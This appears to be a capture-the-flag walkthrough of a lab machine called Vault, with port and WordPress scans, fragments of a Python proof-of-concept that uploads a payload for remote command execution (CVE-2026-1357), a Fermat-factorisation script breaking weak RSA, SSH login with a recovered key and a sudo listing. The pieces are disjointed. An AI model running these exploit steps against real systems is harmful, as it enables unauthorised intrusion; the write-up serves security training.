┌──(root㉿Eecho)-[~] └─# rustscan -a 192.168.43.114 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Exploring the digital landscape, one IP at a time.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.43.114:22 Open 192.168.43.114:80 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.114 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-14 04:19 +0800 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 04:19 Completed NSE at 04:19, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 04:19 Completed NSE at 04:19, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 04:19 Completed NSE at 04:19, 0.00s elapsed Initiating ARP Ping Scan at 04:19 Scanning 192.168.43.114 [1 port] Completed ARP Ping Scan at 04:19, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 04:19 Completed Parallel DNS resolution of 1 host. at 04:19, 0.50s elapsed DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 04:19 Scanning 192.168.43.114 [2 ports] Discovered open port 80/tcp on 192.168.43.114 Discovered open port 22/tcp on 192.168.43.114 Completed SYN Stealth Scan at 04:19, 0.01s elapsed (2 total ports) Initiating Service scan at 04:19 Scanning 2 services on 192.168.43.114 Completed Service scan at 04:19, 6.82s elapsed (2 services on 1 host) Initiating OS detection (try #1) against 192.168.43.114 NSE: Script scanning 192.168.43.114. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 04:19 Completed NSE at 04:19, 1.24s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 04:19 Completed NSE at 04:19, 0.06s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 04:19 Completed NSE at 04:19, 0.00s elapsed Nmap scan report for 192.168.43.114 Host is up, received arp-response (0.00056s latency). Scanned at 2026-05-14 04:19:30 CST for 9s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk= | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE= | 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.66 ((Debian)) |_http-generator: WordPress 6.9.4 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.66 (Debian) |_http-title: mazesec\xE7\xA4\xBE\xE5\x8C\xBA\xE6\x88\x90\xE5\x91\x98 – \xE5\x8A\xA0\xE5\x85\xA5\xE6\x88\x91\xE4\xBB\xAC MAC Address: 08:00:27:2E:8A:88 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=5/14%OT=22%CT=%CU=35652%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=6A04DCDB%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=109%TI=Z%CI=Z%II=I% OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5 OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6= OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O% OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0 OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N OS:%T=40%CD=S)
Uptime guess: 10.721 days (since Sun May 3 11:00:52 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=263 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.56 ms 192.168.43.114
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 04:19 Completed NSE at 04:19, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 04:19 Completed NSE at 04:19, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 04:19 Completed NSE at 04:19, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.23 seconds Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
WordPress Security Scanner by the WPScan Team Version 3.8.28 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[i] It seems like you have not updated the database for some time.
defparse_base_url(value: str) -> str: if"://"notin value: # Default to http if the user just types an IP or domain value = f"{DEFAULT_SCHEME}://{value}"
parsed = urlparse(value)
if parsed.scheme notin ("http", "https"): raise argparse.ArgumentTypeError("Only http:// or https:// are supported")
# FIX: Only append a colon and port if a port was actually specified port_string = f":{parsed.port}"if parsed.port else"" # Normalize path (strip trailing slash) path = parsed.path.rstrip("/")
ifnot res_payload.ok: print(f"[!] Failed to upload payload ({target}): {res_payload.text}") sys.exit(1) except requests.exceptions.Timeout: print(f"[!] Error: Request timed out after {DEFAULT_TIMEOUT} seconds.") sys.exit(1) except requests.exceptions.ConnectionError: print(f"[!] Error: Failed to connect to {target}. Check the URL or your network.") sys.exit(1) except requests.exceptions.RequestException as e: print(f"[!] An unexpected network error occurred: {e}") sys.exit(1)
ifnot res_cmd.ok: print(f"[!] Failed to execute command ({url_trigger}): {res_cmd.text}") sys.exit(1)
print(res_cmd.text) except requests.exceptions.Timeout: print(f"[!] Error: Request timed out after {DEFAULT_TIMEOUT} seconds.") sys.exit(1) except requests.exceptions.ConnectionError: print(f"[!] Error: Failed to connect to {url_trigger}. Check the URL or your network.") sys.exit(1) except requests.exceptions.RequestException as e: print(f"[!] An unexpected network error occurred: {e}") sys.exit(1)
defmain(): parser = argparse.ArgumentParser(description="PoC exploit: CVE-2026-1357") parser.add_argument("target", help="Target hostname") parser.add_argument("--command", type=str, required=True, help="Command to run on target")
WordPress Security Scanner by the WPScan Team Version 3.8.28 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[i] It seems like you have not updated the database for some time.
[+] XML-RPC seems to be enabled: http://192.168.43.114/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://192.168.43.114/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] Upload directory has listing enabled: http://192.168.43.114/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.43.114/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.9.4 identified (Latest, released on 2026-03-11). | Found By: Rss Generator (Passive Detection) | - http://192.168.43.114/feed/, <generator>https://wordpress.org/?v=6.9.4</generator> | - http://192.168.43.114/comments/feed/, <generator>https://wordpress.org/?v=6.9.4</generator>
[+] WordPress theme in use: twentytwentyfive | Location: http://192.168.43.114/wp-content/themes/twentytwentyfive/ | Latest Version: 1.4 (up to date) | Last Updated: 2025-12-03T00:00:00.000Z | Readme: http://192.168.43.114/wp-content/themes/twentytwentyfive/readme.txt | [!] Directory listing is enabled | Style URL: http://192.168.43.114/wp-content/themes/twentytwentyfive/style.css | Style Name: Twenty Twenty-Five | Style URI: https://wordpress.org/themes/twentytwentyfive/ | Description: Twenty Twenty-Five emphasizes simplicity and adaptability. It offers flexible design options, suppor... | Author: the WordPress team | Author URI: https://wordpress.org | | Found By: Urls In Homepage (Passive Detection) | Confirmed By: Urls In 404 Page (Passive Detection) | | Version: 1.4 (80% confidence) | Found By: Style (Passive Detection) | - http://192.168.43.114/wp-content/themes/twentytwentyfive/style.css, Match: 'Version: 1.4'
[+] Enumerating All Plugins (via Passive Methods) [+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] * | Location: http://192.168.43.114/wp-content/plugins/*/ | | Found By: Urls In Homepage (Passive Detection) | Confirmed By: Urls In 404 Page (Passive Detection) | | The version could not be determined.
[!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
import math from Crypto.Util.number import long_to_bytes
# 题目已知数据 n = 34290741416599402000364426406985307108788847346139849276056423456850484785031054576175547387593396760716456841067680666550537736929030835788005715533 e = 65537 c = 6306633972929323441109245980962040907076223927772663682932361844805694754336072683925275888222658229758199381118184386449967084124219498140114920047
print("[*] 正在启动费马分解攻击...")
# 1. 执行费马因数分解 a = math.isqrt(n) + 1 whileTrue: b2 = a*a - n b = math.isqrt(b2) if b*b == b2: break a += 1
p = a + b q = a - b
print(f"[+] 成功分解 N 因子！") print(f" p = {p}") print(f" q = {q}")
(myenv) ┌──(root㉿Eecho)-[/tmp/bbbb] └─# vim id_rsa (myenv) ┌──(root㉿Eecho)-[/tmp/bbbb] └─# chmod 600 id_rsa (myenv) ┌──(root㉿Eecho)-[/tmp/bbbb] └─# ssh Sublarge@192.168.43.114 -i id_rsa ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html Linux Vault 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed May 13 17:39:39 2026 from 192.168.43.6 Sublarge@Vault:~$ id uid=1001(Sublarge) gid=1001(Sublarge) groups=1001(Sublarge) Sublarge@Vault:~$
sublarge -> root
1 2 3 4 5 6
Sublarge@Vault:~$ sudo -l Matching Defaults entries for Sublarge on Vault: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User Sublarge may run the following commands on Vault: (root) NOPASSWD: /usr/local/bin/secure_audit
